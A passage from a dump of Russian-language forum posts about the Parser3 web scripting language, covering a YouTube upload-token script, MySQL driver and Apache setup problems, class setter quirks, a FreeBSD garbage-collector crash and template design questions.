					^rem{ Ошибка авторизации }\
				}\
			}{\
				^rem{ Какое-то не правильное содержание ответа }\
			}\
			\
		}{\
			^rem{ Ошибка c ответом }\
		}\
\
	}{\
		$exception.handled(true)\
\
		^rem{ Ошибка с запросом }\
	}\
\
@getToken[][res;data]\
	\
	$result(false)\
	\
	^if($YouTube.ready){\
		\
		$xmlfile[^file::create[text;ut;$str]]\
		\
		$res[^file::exec[getYouTubeToken.sh;\
				$.CGI_AUTH[$YouTube.auth]\
			]]\
			\
		^if( $res.status == 0 ){\
\
			^try{\
\
				^if(def $res.text){\
				\
					$data[^xdoc::create{$res.text}]\
					\
					$YouTube.url[^data.selectString[string(response/url)]]\
					$YouTube.token[^data.selectString[string(response/token)]]\
					\
					^if(def $YouTube.url && def $YouTube.token){\
						\
						$result(true)\
						\
					}{\
						^rem{ Токен не получен, значит что-то не так с запросом/авторизацией }\
					}\
					\
				}{\
					^rem{ Какое-то не правильное содержание ответа }\
				}\
			}{\
				$exception.handled(true)\
				^rem{ Какое-то не правильное содержание ответа }	\
			}\
			\
		}{\
			^rem{ Ошибка c ответом }\
		}\
	}\
	\
\
Содержимое getYouTubeToken.sh\
\
curl --url 'http://gdata.youtube.com/action/GetUploadToken' \\\
--request POST \\\
--header 'Content-Type: application/atom+xml; charset=UTF-8' \\\
--header 'Content-Length: 'Размер отправляемого содержимого (xml)'  \\\
--header 'Authorization: GoogleLogin auth='$CGI_AUTH \\\
--header 'X-GData-Key: key=Здесь надо вставить хеш-строку с ключом' \\\
--connect-timeout 15 \\\
--data '<?xml version=\"1.0\" encoding=\"UTF-8\"?><entry xmlns=\"http://www.w3.org/2005/Atom\" xmlns:media=\"http://search.yahoo.com/mrss/\" xmlns:yt=\"http://gdata.youtube.com/schemas/2007\"><yt:accessControl action=\"list\" permission=\"denied\"/><yt:accessControl action=\"comment\" permission=\"denied\"/><media:group><media:title type=\"plain\">Проект</media:title><media:description type=\"plain\">0</media:description><media:category scheme=\"http://gdata.youtube.com/schemas/2007/categories.cat\">People</media:category><media:keywords>Ключево слово</media:keywords></media:group></entry>'\
\
[/code]"
"77963","работает ли парсер 3 под этим ПО?"
"77964","просто при обращении к /cgi-bin/lib/libparser3mysql.so\
\
получаю:\
\
driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory\
\
с чем может быть связано?"
"77965","С отсутсвующим mysql-client пакетом, нужно установить"
"77966","то есть это к хостеру нужно обратьиться? а как сформулировать? что именно нужно установить?"
"77967","Если это сервис хостера, то да - спросить у провайдера о наличии mysql-client и местоположении libmysqlclient (если пакет имеется), и попросить установить, если отсутсвует"
"77968","Попробую предположить, что у вас версия парсера x32, а версия OS x64. Поэтому бинарник парсера запускается (стоят библиотеки совместимости), в библиотеки mysql x32 там естественно нет. \
\
Можно найти/списать 32-х битную библиотеку mysql для этой версии OS, можно положить 64х битный парсер (но не факт, что он запустится - мы собираем под Dedian), можно собрать парсер и SQL драйвер из исходников.\
\
И отвечая на ваш вопрос: парсер-то работает, но собранная под другой Linux бинарная версия с сайта - может и не работать. А мы наверное добавим бинарники для RHEL/CentOS на сайт."
"77969","Кстати, было бы интересно увидеть uname -a и ldd --version, т. к. на сайте действительно версия для glibc 2.7+, а centos 5.6 использует glibc 2.5"
"77970","Пропишите в auto.p:\
[code]/usr/lib64/mysql/libmysqlclient.so.16[/code]"
"77971","[url=http://www.parser.ru/examples/debug-fork/]смотреть[/url].\
\
чтобы посмотреть просто подключите Debug.p и напишите у себя где-нить в коде ^dstop[$MAIN:CLASS] :)\
\
P.S. автору написал уже довольно давно. он молчит.\
P.P.S. добавил список изменений и засунул в архив тестовый файл."
"77972","Здорово, спасибо!\
Только в примере (dstop.html) ты забыл сам класс подключить."
"77973","Миша, спасибо за всё, что ты делаешь на parser, для parser и для тех, кто его искренне любит и ценит)"
"77975","- file/image выводятся иначе (формируются и затем выводятся хэши)\
- подправлены глюки с отображением xnode (& не заменялся на &amp;)\
- избавился от .replace при отображении строк (taint + apply-taint наше всё)\
- чуть подтюнил вывод таблиц\
- для пустых хэшей и пустых nameless таблиц теперь выводятся сообщения\
- расширил пример (в частности добавил наследуемый класс, чтобы продемонстрировать что иерархия классов тоже выводится)\
- добавил изображение с exif в архив\
\
кстати, парочка неочевидных фич:\
- если выделить мышкой дату/таблицу/хэш, сделать Ctrl+C и потом куда-нить Ctrl+V, то вставится парсерный код создания этих объектов (при копировании таблиц в Опере почему-то вставляется лишняя закрывающая фигурная скобка)\
- при mouseover на имени метода объекта/класса выводится путь, где этот метод определён (полезно при наследовании, т.к. сразу понятно где его искать)"
"77978","Друзья, помогите установить Парсер на Ubuntu 12.04.\
\
Ставлю пакеты из стандартного репозитария:\
[code]sudo apt-get install parser3-common parser3-mysql libapache2-mod-parser3[/code]\
\
Подключаю модуль Apache 2 и перезапускаю веб-сервер:\
[code]sudo a2enmod parser3 && sudo service apache2 restart[/code]\
\
И вот дальше я не знаю что делать. Позволяю переопределение различных параметров хоста при помощи файла .htaccess, добавив в настройки хоста вот этот код:\
\
[code]<Directory /var/www/>\
	Options Indexes FollowSymLinks MultiViews\
	AllowOverride All\
	Order allow,deny\
	allow from all\
</Directory>[/code]\
\
\
Пытаюсь прописать обработчик через на файлы .html в .htaccess:\
[code]AddHandler parser3-handler html\
ParserConfig /var/www/auto.p\
\
<Files ~ \"\\.(p|log)$\">\
    Order allow,deny\
    Deny from all\
</Files>[/code]\
\
Запрос \"висит\" некоторое время, а потом сбрасывается т.к. сервер не выдает никаких данных.\
\
В мануале об этом способе установки нет вообще никаких данных. Или может быть я ничего не нашел. Гугл тоже не выручил."
"77979","Собрать из исходников cgi, далее его подключить уже на уровне домена через htaccess.\
Сам использовал модуль, но потом отказался. Имеются баги при использовании его с php, когда php начинает использовать xml.\
Да и версия парсера через apt-get старовата, в общем одни минусы.\
Тем более сами создатели не видят большого профита в модульной версии."
"77980","Понятно, спасибо. Значит буду подключать Парсер как обычно через CGI.\
\
А вообще, ради интереса, в чем была проблема? Почему не запускалось? :)"
"77981","Но они близки друг к другу +) http://www.parser.ru/forum/?id=76872"
"77982","А в моем случае почему отказывалось работать? Нет предположений случайно?"
"77983","Вот такую ошибку получаю:\
/: /home/user1/data/www/demo2.webinject.ru/index.html(1:2): 'mysql://user1@localhost/demo2' $SQL:drivers table must be defined [parser.runtime]\
\
содержание index.html\
^connect[mysql://user1@localhost/demo2]{\
	$tPage[^table::sql{\
		SELECT * FROM `page`\
	}]\
}\
$tPage.name\
\
parser на сервер поставил правильно, драйвер MySQL закинул. Помогите разобраться."
"77984","Сервер на FreeBSD"
"77985","http://www.parser.ru/f/1/download/utils/parser3test_russian.zip"
"77986","Добрый день.\
А кто-нибудь подключал себе на сайт PayPal? Поделитесь пожалуйста решением."
"77987","Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
upper\
/home/user1/data/www/demo2.webinject.ru/_test.html(187)"
"77988","Сообщение указывает на проблему в cgi/auto.p с $SQL:drivers - как вариант при прописывании пути к драйверам вы случайно заменили табы на пробелы."
"77989","Я просто скачал все файлы и залил на сервер, ничего не правил."
"77990","[quote]Я просто скачал все файлы и залил на сервер, ничего не правил.[/quote]\
\
а теперь расскажите подробно: что конкретно вы качали и куда какой файл положили."
"77991","http://www.parser.ru/download/freebsd9/ - 3 архива, сам CGI скрипт, файл конфтгурации с кодировками и драйвер БД.\
Далее \"parser3.cgi\" в папку \"cgi-bin\", тудаже папку \"parser3\" с конфигурационным файлом. Драйвера БД в \"cgi-bin/parser3/lib\""
"77992","... а папки lib и charsets сделать прямо в cgi-bin (без промежуточной папки parser3)."
"77993","Не пойму по какому поводу из пользовательского класса при статичном вызове метод @SET_DEFAULT не работает. Метод @SET_fieldname работает, а @SET_DEFAULT не отрабатывает. \
Объясните пожалуйста чего я не понимаю."
"77995","[code]@CLASS\
LOG\
\
@OPTIONS\
static\
\
@auto[]\
$rez[^hash::create[]]\
\
@SET_DEFAULT[param;val]\
$rez.$param[$val]\
\
@GET_DEFAULT[param][param]\
$result[$rez.$param]\
[/code]\
\
Обращение типа $LOG:test[text] и последующий вызов $LOG:test отдаст 'text' но вызова SET_DEFAULT не произойдёт И количество записей в хэше $rez останется 0. Зато объявляется переменная $self.test."
"77997","по крайней мере работа SET_DEFAULT со статическим классом тестами не покрыта и лично такого даже не проверял :)"
"77998","Не отрабатывает при любых @OPTIONS. Тады просьба проверить, покрыть тестами и пофиксить. :)"
"77999","[code]\
@main[]\
  $LOG:test1[value1]\
  $LOG:test1\
  $LOG:prop[prop_value]\
  ^LOG:rez._count[]\
  ^LOG:rez.foreach[k;v]{$k -> $v}[,]\
\
@CLASS\
LOG\
\
@auto[]\
  $rez[^hash::create[]]\
\
@SET_prop[val]\
  $rez.prop[$val --]\
\
@GET_prop[]\
  $result[$rez.prop]\
\
@SET_DEFAULT[param;val]\
  $rez.[$param][$val --]\
\
@GET_DEFAULT[param]\
  $result[$rez.[$param]]\
[/code]\
\
выдает\
\
[code]\
  value1\
  \
  1\
  prop -> prop_value --\
[/code]\
\
Иными словами, не работают именно DEFAULT setter/getter."
"78000","я не про @OPTIONS, а про статическое использование класса.\
если-бы было так:\
[code]\
$oLog[^LOG::create[]]\
$oLog.test[text]\
[/code]\
по моему всё работало-бы.\
проверите?"
"78001","При динамическом вызове работает. Очень нужно чтоб работало и при статическом вызове. :)"
"78002","Если для чего-то нужна мегаглобальная переменная, то делается несложно:\
\
[code]\
@main[]\
  $LOG[^Log::create[]]\
\
...\
в любом другом месте:\
  ^MAIN:LOG.test[value]\
[/code]\
\
p.s. Но лучше обойтись без этого, глобальные переменные — зло."
"78003","Я от таких конструкций решил уходить. \
А чем плохи глобальные переменные?"
"78005","То что после второго знака вопроса считается get переменными их и можно передать в query_string"
"78007","Здравствуйте.\
\
Задача: определить необходимость и показать мобильную версию сайта (сервер Apache).\
\
Модель и характеристики мобильного устройства планируется получать от сервиса яндекса: http://api.yandex.ru/detector/doc/dg/concepts/detector-request.xml\
\
Чтобы сделать запрос к сервису, необходимо передать заголовки profile, wap-profile, x-wap-profile, user-agent.\
\
Заголовок user-agent можно получить из переменных окружения сервера $env:HTTP_USER_AGENT. Возможно ли получить остальные заголовки?"
"78008","У примерах они вообще передают все доступные заголовки.\
http://api.yandex.ru/detector/doc/dg/reference/php-samples.xml\
Кроме некоторых."
"78009","$env:wap-profile? Или через $request:wap-profile? Или еще как то?"
"78012","http://store.artlebedev.com/\
\"Payment options:\
1) PayPal\"\
\
После реализации поддержки https (через curl) и недавнего добавления HMAC и ^math:digest[] (^math:digest[sha1|md5;string; $.encode[hex|base64] $.hmac[key]]) нам пока не встречалась платежная система, для интеграции с которой необходим запуск \
внешних скриптов."
"78013","Иногда при отладке бывает нужно), не помнишь ведь всех заголовков +)"
"78014","Задача\
Нужно загрузить xml с удаленного сервера и передать ему параметры в windows-1251. Сайт в utf-8.\
\
Решение\
[code]^file::load[text;путь;$.charset[windows-1251] $.form[$.param[] $.param1[1]] ][/code]\
\
Проблема\
похоже не передается пустой параметр: удаленный скрипт ждет script.pl?param&param1=1но не получает первый параметр и возвращает ошибку"
"78015","fl1.html\
\
[code]\
$f[^file::load[text;http://$server/_/fl2.html;;$.form[$.a[] $.b[1]]]]\
$f.text\
[/code]\
\
\
fl2.html\
[code]\
^form:fields.foreach[k;v]{$k=$v}[, ]\
[/code]\
\
\
http://.../fl1.html\
=>\
a=, b=1\
\
т.е. все параметры передаются.\
\
P.S. ещё можно впихнуть этот параметр в \"путь\" :)"
"78016","Поддерживаю, хочется $env:fields\
Собственно с 2007 года хочется, еще $cookie:fields не было :)\
http://www.parser.ru/forum/?id=62624 п.1"
"78020","... весь список приходит в третьем параметре main'а (проверял на FreeBSD):\
[code]\
#include <stdio.h>\
\
int main(int argc, char* argv[], char* env[]){\
    int i;\
    for(i=0;env[i]!=NULL;i++)\
      printf(\"%s\\n\",env[i]);\
    return 0;\
}\
[/code]\
\
p.s. Похоже это стандартизировано для POSIX-систем и Windows."
"78021","... глобальная переменная environ (так работает env  в никсах):\
\
[code]\
#include <stdio.h>\
\
extern char** environ;\
\
int main(int argc, char* argv[]){\
    char** ep;\
    for (ep = environ; *ep; ep++)\
        printf(\"%s\\n\", *ep);\
    return 0;\
}                                                            \
[/code]\
\
В VS переменная называется _environ."
"78022","оно-же у нас уже используется при file::exec для передачи всех env запускаемому скрипту.\
\
щас добавлю ticket с diff-ом."
"78024","Друзья, кто писал что-нибудь подобное.\
Предлагаю обменяться накопленными знаниями и кодами если не жалко.\
\
Пишу небольшой класс для расчета отправлений через СПСР.\
\
Для расчета использую http://www.cpcr.ru/cgi-bin/postxml.pl\
Возможности:\
Выдает список стран и регионов России куда возможна доставка с кодами.\
Считает отправление по вводным: регион_откуда(код), город_откуда(текст), страна_куда(код), регион_куда(код), город_куда(текст), вес, характер груза.\
или\
город_откуда(код), город_куда(код), вес, характер груза.\
\
Проблемы:\
Не выдает списка городов и их кодов, из-за этого поиск можно делать только по названию города, перед этим правильно указав код региона. Если регион не указан или указан неверно то ошибка.\
Считает медленно +/- 5-7 секунд.\
\
Пока класс не готов для примеров, чуть позже дам ссылку на демо."
"78026","Дано:\
1. Первыми загружаются основные библиотеки сайта, к которым НЕ относится наш класс (форум).\
2. Затем определяется, какой дизайн-шаблон будет использоваться.\
3. И только потом загружается форум. Причем нельзя точно сказать когда и откуда именно - его может вызвать как сама страница, так и кусок фотогалереи на ней, для которой разрешены комментарии. \
\
Задача: переопределить используемые по умолчанию методы вывода, например, способ отображения профиля пользователя рядом с его сообщением.\
\
(1)Если делать форум partial-классом, и переопределять какие-то его части в дизайн-шаблоне, это, очевидно, не сработает, поскольку переопределяющим будет форум и его дефолтные методы. \
\
(2)Наследовать форум другим классом - в данном случае это только плодит сущности, а каждый новый класс будет иметь uid64-подобное имя. Не вариант.\
\
(3)Поместить форум в основные библиотеки - +25% к памяти, не вариант. Поместить в основные библиотеки только те методы (снова partial-подход), которые могут быть востребованы дизайнером - это обрекать разработчика на подвешенность (а вдруг что-то еще понадобится?)\
Проверять ^if($design:some_method is junction) - к этому же относится.\
\
А как вы в своих проектах решили бы подобную задачу?"
"78027","Пришло письмо от хостера что у них там покращення и они перенесли мой аккаунт на новый сервер. Дальше посыпались очень странные ошибки на сайтах сделанных на парсере (cgi 2.3.2 на линуксе)\
\
1. Все нули (\"0\") на страницах русской части сайта заменились на \"?\". Только нули и только в русской части. В результате весь сайт поплыл потому что <div style=\"float:left; text-align:left; padding: 1?px 25px ?px 25px;\"> - работает не так как должно.\
\
Обнаружил что русская часть имеет $request:charset[windows-1251] \
Помогла замена файла кодировки для windows-2151 файлом с новой версии парсера, хотя особых отличий от старой не нашел в районе \"0\"\
\
2. В файле который подключается в корневом auto.p сайта, иницилизируются штук 20 переменных, одна (!) из них почему-то дальше всегда оказывалась пустой, остальные работали. Помогло замена кода с \
$FileNameForDownloadScript[clipdiary_3.5.exe]\
на \
$FileNameForDownloadScript[clipdiary_3.5.exe]\
$FileNameForDownloadScript[clipdiary_3.5.exe]\
то-есть просто дублирование  копированием и вставкой на следующую строку (!), другие способы не помогли.\
\
3. Есть каталог со статями в папке есть свой auto.p в котором есть определения трех функций\
[code]\
@PrintClipboardArticlesScreenshot[]\
<div align=\"center\">\
<a href=\"/screenshots.php\"><img src=\"/pictures/clipdiary.gif\" width=\"460\" height=\"596\" border=\"0\" hspace=20\" vspace=\"10\" alt=\"Windows Clipboard Manager for viewing clipboard history\"></a>\
</div>\
\
\
@PrintClipboardArticlesDownload[]\
<div style=\"width:800px\">\
<p style=\"text-align:center\"><a $rusDownloadUrl style=\"font: bold 110% Arial, Sans-Serif; text-decoration:none;\" title=\"Download Clipdiary clipboard tool\">Download Clipdiary Now</a></p>\
</div> \
[/code]\
\
\
Соответственно в статьях есть вызов \
[code]\
^PrintClipboardArticlesScreenshot[]\
\
^PrintClipboardArticlesDownload[]\
\
[/code]\
\
Все статmи дают ошибку что не определен метод ^PrintClipboardArticlesDownload[], остальные методы оно видит, но если в оставить только вызов @PrintClipboardArticlesScreenshot[] то в итоге получаю \
\
[quote]\
hot[]reenshot[]reenshot[]reenshot[]\
 потом правильная отработка процедуры вывода скриншота\
потом clesDownload[]dArticlesDownload[]\
[/quote]\
\
какой-то бред. Опять помогло только дублирование кода проблемной процедуры \
\
[code]\
@PrintClipboardArticlesScreenshot[]\
<div align=\"center\">\
<a href=\"/screenshots.php\"><img src=\"/pictures/clipdiary.gif\" width=\"460\" height=\"596\" border=\"0\" hspace=20\" vspace=\"10\" alt=\"Windows Clipboard Manager for viewing clipboard history\"></a>\
</div>\
\
\
\
@PrintClipboardArticlesDownload[]\
<div style=\"width:800px\">\
<p style=\"text-align:center\"><a $rusDownloadUrl style=\"font: bold 110% Arial, Sans-Serif; text-decoration:none;\" title=\"Download Clipdiary clipboard tool\">Download Clipdiary Now</a></p>\
</div> \
\
\
@PrintClipboardArticlesDownload[]\
<div style=\"width:800px\">\
<p style=\"text-align:center\"><a $rusDownloadUrl style=\"font: bold 110% Arial, Sans-Serif; text-decoration:none;\" title=\"Download Clipdiary clipboard tool\">Download Clipdiary Now</a></p>\
</div> \
[/code]\
\
все файлы перезаливать пробовал, менял кодировку - не помогает. Такое впечатление что парсер неправильно читает и обрабатывает сорцы. При этом дома локально все отрабатывает как раньше правильно.\
\
Вот сижу теперь весь в непонятках и думаю что за мистика. Сейчас пора спать, а завтра с утра на 2 дня уезжаю, пока будут на сайте такие костыли, но тем не менее очееень интересно что это и что делать?\
\
Есть идеи?"
"78028","я не очень понял, что именно надо переопределять.\
вы хотите чтобы вместо сметода из стандартных библиотек вызывались методы форума?\
\
ну... можно так (где-то внутри кода, где инициализируется форум)\
[code]\
$oForum[^forum::create[...]]\
$print[$oForum.print]\
[/code]\
\
и потом вызов метода print приведёт к вызову метода print, описанного в классе форума.\
\
я таким образом оставляю обратную совместимость при изменении названий методов (это гораздо компактнее, см. sql классы).\
\
\
кроме того не вижу ничего страшного определить методы, которые требуются шаблону в виде wrapper-ов:\
[code]\
@print[hParams]\
^if($hParams.bDefault || !def $oForum){\
	стандартное поведение\
}{\
	^oForum.print[hParams]\
}\
[/code]\
\
P.S. но вообще у меня таких задач не бывает, т.к. используем xml+xslt. что и как выводить -- решает xslt, а он у разных страниц может быть совсем разные и иметь разную логику."
"78029","1. хостер при переносе сайта случайно не обновил вам парсер?\
2. парсер сами собирали или брали готовый? если последнее -- то какую версию взяли и какая у хостера на новом сервере OS?\
3. если есть возможность обновить версию парсер, то обновите. 232 -- довольно старая версия, новые и побыстрее и жрут меньше памяти\
4. вы пробовали скачать с сервера скрипты (файлы с парсерным кодом) и запустить их локально? из вашего сообщения мне это не понятно, но возможно с ними проблемы.\
5. какие у файлов концы строк? пере-проверьте.\
6. методы, которые не вызываются как несуществующие, они случайно не последние в файле?\
7. насколько сильно у вас различаются конфигурационный файл на сервере и локально (где вы проверяете)? одинаковые ли версии парсера используются?\
8. скачайте, распакуйте и запустите _test.html -- он сам работает? обнаруживает какие-нить проблемы (в частности с сущностями, определёнными в конфигурационном auto.p)?\
9. скачайте и подключите Debug.p. сразу после определения ваших переменных добавьте ^dstop[$MAIN] (точнее тот класс, в котором у вас проблемы с переменнымии) и посмотрите что он покажет. после этого уберите вызов dstop из этого места и добавьте его перед вызовом метода, который вызывает ошибку с сообщением что метод не найден. возможно кто-то \"переопределяет\" этот класс (неоднозначные @USE/^use[])."
"78030","Есть база данных ABCDE, в ней таблица counter.\
В ней 1 столбец count, в нем 1 строка с числом.\
\
[code]^connect[mysql://login:pass@localhost/abcde]{ \
	$table[^table::sql{select * from counter}] \
	$oldno($table.count)\
	$newno($oldno + 1)\
}[/code]\
\
Анхендлд. Лог сообщает, что  'sql' is 'bool', it has no string representation (хотя на другом сайте всё внешне то же самое работает).\
\
Если выключить строку про $oldno, всё хорошо. Парсер показывает на неё же.\
\
Пробую добавить вокруг её содержимого ^table.menu{} - анхендлд с тем же комментарием.\
\
Что происходит? Помогите, пжл."
"78031","у таблицы есть метод с именем count, который имеет больший приоритет, чем поле.\
\
$table.count => $table.fields.count ($table.fields -- хэш, у него приоритет у полей выше, чем приоритет у методов)"
"78033","Зачем нужен дизайн на стороне сервера? Возьмем отображение данных пользователя, как оно делается в типовых форумах типа iconboard. Это блок слева от сообщения. Один вариант:\
\
Имя пользователя\
Статус\
Картинка\
Дата регистрации\
\
Другой: \
\
Никнейм\
Карма (рейтинг)\
Картинка\
Возраст\
Подпись.\
\
Я исхожу из того, что для разных тематических форумов, для удобства их пользователей, может потребоваться совершенно разное отображение всех полей, поэтому внутри класса forum сделал такие методы только для первого, дефолтного юзербокса:\
\
@forum_userbox[message]\
<div class=\"forum_userbox\">\
<span>^forum_ub_name[$message]</span>\
<span>^forum_ub_status[$message]</span>\
<span>^forum_ub_picture[$message]</span>\
<span>^forum_ub_userage[$message]</span>\
</div>\
Предполагается, что в дизайн-шаблоне можно переопределить как общий метод (например, если нужно заменить дату регистрации на рейтинг пользователя), так и каждый по отдельности. \
\
Идя логически дальше, обнаруживаем, что хорошо бы иметь еще и возможность указывать, какие дополнительные поля таблицы users джойнить с таблицей forum. Причем тоже в дизайн-шаблоне, раз они используются только в нем. \
\
И если здесь пользоваться wrapper'ами, как \
^if($hParams.bDefault || !def $oForum){\
	стандартное поведение\
}{\
	^oForum.print[hParams]\
}\
\
,то @forum_userbox[message] разрастается до совсем неприличных размеров. И по-прежнему нельзя переопределить произвольный метод.\
\
Давайте подойдем с другой стороны. Как я понимаю, в Парсере есть ровно три способа автоматических переопределений\
1. наследование класса с переопределением методов\
2. переопределение внутри класса через partial\
3. ^хэш.add. (и далее работаем через ^хэш.имя_метода[])\
\
Или есть еще что-то?"
"78034","... лучше разделить манипулирование данными и их отображение в форуме на две отдельных иерархии классов. Если нужны хитрые джоины, которые зависят от контекста, то их спокойно можно сделать отдельными запросами и разложить в хеши по первичным ключам, а при выводе делать быстрые лукапы уже в Парсеровском коде. Т.е. применить шаблон MVC.\
\
Миша упоминал про xslt, но если вы хотите сделать шаблоны на Парсере, то можно сделать несложный шаблонный движок с наследованием и примесями не плодя лишнюю иерархию классов (пример — http://code.volchkov.net/parser3-pf/src/9a87489ff9dd5617ca7206f39241ead45d4903e9/templet?at=pf).\
\
В качестве альтернативы можно использовать «активный шаблон», т.е. передать в шаблон объект с моделью форума и сами данные дергать по ходу формирования страницы. Но такая организация работы требует аккуратности и написания достаточно «толстой» модели, иначе шаблон превратиться в плохо поддерживаемую кашу."
"78035","Если рассуждать в рамках предложенного вами контекста, то мне нужно повесить компоновщик поверх имеющегося MVC, так, чтобы в одном месте пользовательского шаблона расширить логически разные части программы. И да, это будут слагаемые хэши, как меньшее зло."
"78036","... о том как выделить форум в отдельные классы, а потом уже с помощью наследования разруливать специфические случаи. Как это реализовать, зависит от архитектуры конкретной системы."
"78037","Имеем: FreeBSD 8.1 p5 x32, Parser3 4.3.2, хостинг от nic.ru\
\
Хостинг взяли недавно, перенес на него проект с другого сервера. Парсер установлен нормально, проект работает, но в некоторых местах падает в корку.\
\
_test.html тоже падает в core на строке ^memory:compact[], при этом parser.log не создается.\
\
GNU gdb 6.1.1 [FreeBSD]                                                                             \
Copyright 2004 Free Software Foundation, Inc.                                                       \
GDB is free software, covered by the GNU General Public License, and you are                        \
welcome to change it and/or distribute copies of it under certain conditions.                       \
Type \"show copying\" to see the conditions.                                                          \
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.                         \
This GDB was configured as \"i386-marcel-freebsd\"...                                                 \
Core was generated by `parser3.cgi'.                                                                \
Program terminated with signal 11, Segmentation fault.                                              \
Reading symbols from /lib/libcrypt.so.5...done.                                                     \
Loaded symbols for /lib/libcrypt.so.5                                                               \
Reading symbols from /usr/lib/libstdc++.so.6...done.                                                \
Loaded symbols for /usr/lib/libstdc++.so.6                                                          \
Reading symbols from /lib/libm.so.5...done.                                                         \
Loaded symbols for /lib/libm.so.5                                                                   \
Reading symbols from /lib/libgcc_s.so.1...done.                                                     \
Loaded symbols for /lib/libgcc_s.so.1                                                               \
Reading symbols from /lib/libc.so.7...done.                                                         \
Loaded symbols for /lib/libc.so.7                                                                   \
Reading symbols from /libexec/ld-elf.so.1...done.                                                   \
Loaded symbols for /libexec/ld-elf.so.1                                                             \
#0  GC_clear_stack_inner (arg=0x28855fe0, limit=0xd4e0 <Address 0xd4e0 out of bounds>) at misc.c:243\
243     misc.c: Нет такого файла или каталога.                                                      \
        in misc.c                                                                                   \
(gdb) bt\
#0  GC_clear_stack_inner (arg=0x28855fe0, limit=0xd4e0 <Address 0xd4e0 out of bounds>) at misc.c:243              \
#1  0x08136206 in GC_clear_stack_inner (arg=0x28855fe0, limit=0xd4e0 <Address 0xd4e0 out of bounds>) at misc.c:245\
#2  0x08136206 in GC_clear_stack_inner (arg=0x28855fe0, limit=0xd4e0 <Address 0xd4e0 out of bounds>) at misc.c:245\
#3  0x08136206 in GC_clear_stack_inner (arg=0x28855fe0, limit=0xd4e0 <Address 0xd4e0 out of bounds>) at misc.c:245\
#4  0x08136206 in GC_clear_stack_inner (arg=0x28855fe0, limit=0xd4e0 <Address 0xd4e0 out of bounds>) at misc.c:245\
....\
\
Парсер брал как с сайта, так и собственноручно собирал - результат одинаковый (да и бинарника ничем не различаются)\
\
Кто виноват и что делать?"
"78038","Вот, например: http://www.startfree.ru/\
\
Бинарники можно вот эти взять: http://www.parser.ru/download/freebsd8/\
\
64-разрядная ось на этом хостинге."
"78039","Мне нужно заставить Парсер работать именно на этом хостинге"
"78040","Просто надо понять в хостинге дело или может в чём-то другом. В любом случае: если на \"временном\" всё будет работать, то этой \"палкой\" будет проще тыкать в лицо админов с nic.ru поговаривая: \"видите - у меня всё исправно. Обновляйте библиотеки и проч.\".\
\
http://hosting.nic.ru/tariff_compare.shtml - какой у вас тариф-то?"
"78041","У меня \"хостинг конфиденциальной информации\"\
\
На другом хостинге все прекрасно работает"
"78044","На nic.ru у нас есть проекты, проблем не было. Но: обычный хостинг, не \"хостинг конфиденциальной информации\". Что касается указанной проблемы, подобное встречал. Проблема с несовместимостью libgc с указанной OS, причем в данном случае скорее даже не с OS, а с ее гипервизором. Самое простое решение - не использовать сборку мусора, поскольку проблема кажется была только с этим. Правда не помню, где именно у нас была проблема и что мы в итоге сделали. :) \"GC_clear_stack_inner core\" хорошо гуглится, но если ничего не получится - пишите."
"78045","К сожалению, ничего полезного нагуглить не удалось. Так что помощь все еще нужна"
"78046","Просмотрел форум, но нигде нет четкого ответа. \
\
При необходимости использовать ssl нужно ли что-то изменять или конфигить в парсере, или примотать ssl к апачу и достаточно?\
\
Заранее спасибо за развернутый ответ!"
"78047","> Самое простое решение - не использовать сборку мусора, поскольку проблема кажется была только с этим. \
\
Сделали это? И что, продолжает падать?\
\
> К сожалению, ничего полезного нагуглить не удалось.\
\
Ну, там было N ссылок на проект mono, который тоже использует libgc. Можно попробовать взять libgc у них (https://github.com/mono/mono/tree/master/libgc). Есть предположение, что [url=\"https://github.com/mono/mono/commit/e7f3bbad80fe04bea1a055e870d856a22003d34d\"] этот патч [/url] сделан ими для \"вашей\" проблемы."
"78049",">> Самое простое решение - не использовать сборку мусора, поскольку проблема кажется была только с этим. \
\
> Сделали это? И что, продолжает падать?\
\
К сожалению, моих знаний для этого маловато. Если вы подскажете, как это сделать, я обязательно попробую"
"78051","Спасибо за краткий, но емкий ответ :)"
"78052","День добрый! Может кто подсказать: не работает не один драйвер MySQL на VDS русоникса - какой ставить? Кто сталкивался?"
"78053","вот лог:\
[Thu Feb 28 11:51:29 2013] [12998] /: /var/www/vhosts/avis-design.host4g.ru/subdomains/sergeysubbotin/auto.p(7:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>] [uri=/, method=GET, cl=0]"
"78055","все лежит так:\
cgi-bin/parser3.cgi\
cgi-bin/lib/libparser3mysql.so\
\
Может версия драйвера не подходит?"
"78056","Это Парсер у Вас выдаёт: http://avis-design.host4g.ru/\
Положите в корень http://avis-design.host4g.ru/_test.html и настройте доступ к базе данных. Станет ясно в драйвере дело или нет."
"78057","Сам парсер работает.\
Соединение с базой настроил - все нормально.\
Все сыпется, когда начинаю выборку из базы."
"78059","На http://www.parser.ru/download/contrib/ Вы когда-то выкладывали дистриб Linux Red Hat на хостинг-площадке Rusonyx VPS. К сожалению, ссылка битая. Данный дистрибутив не мог бы помочь в данной ситуации?"
"78060","И с тех пор и Парсер уже новый несколько раз вышел, и хостинг у Русоникса сильно ухудшился и я от них свалил, не в силах больше видеть как всё висит каждый день. В общем я не смогу помочь. Но собрать не сложно же - главное делать всё аккуратно и по инструкции о самостоятельной сборке. Попробуйте. Чем Вы рискуете-то? Хуже не будет, а опыт добавится."
"78061","Ясно. Большое спасибо за консультацию"
"78062","А у нас такого и нет ))\
\
У нас все падает на IFе - но их я убирать не буду - и не просите )))"
"78063","По диагностике похоже на эту проблему: http://www.parser.ru/forum/?id=77407\
\
У вас точно последняя версия парсерного драйвера mysql? И какая у вас точно версия mysql и версия OS? У нас в ночных сборках собирается версия для CentOS (только ссылки нет :), это тот-же RedHat. Но судя по диагностике - возможно таки потребуется пересборка парсерного драйвера mysql на вашем сервере. Инструкции на сайте есть, там ничего сложного, если конечно есть хотя бы базовые знания Unix shell."
"78064","Если предоставите ssh доступ - на выходных могу посмотреть на проблему. Доступ слать на moko@design.ru."
"78065","Mac OS X 10.8.2\
Проверяли на Parser 3.4.2 & 3.4.1\
\
Следующий код производит округеление при форматировании очень странным способом.\
.075000 превращается в .07? , т.е. округление в меньшую сторону\
.015000 первращается в .02 , т.е. окрегление в большую сторону\
\
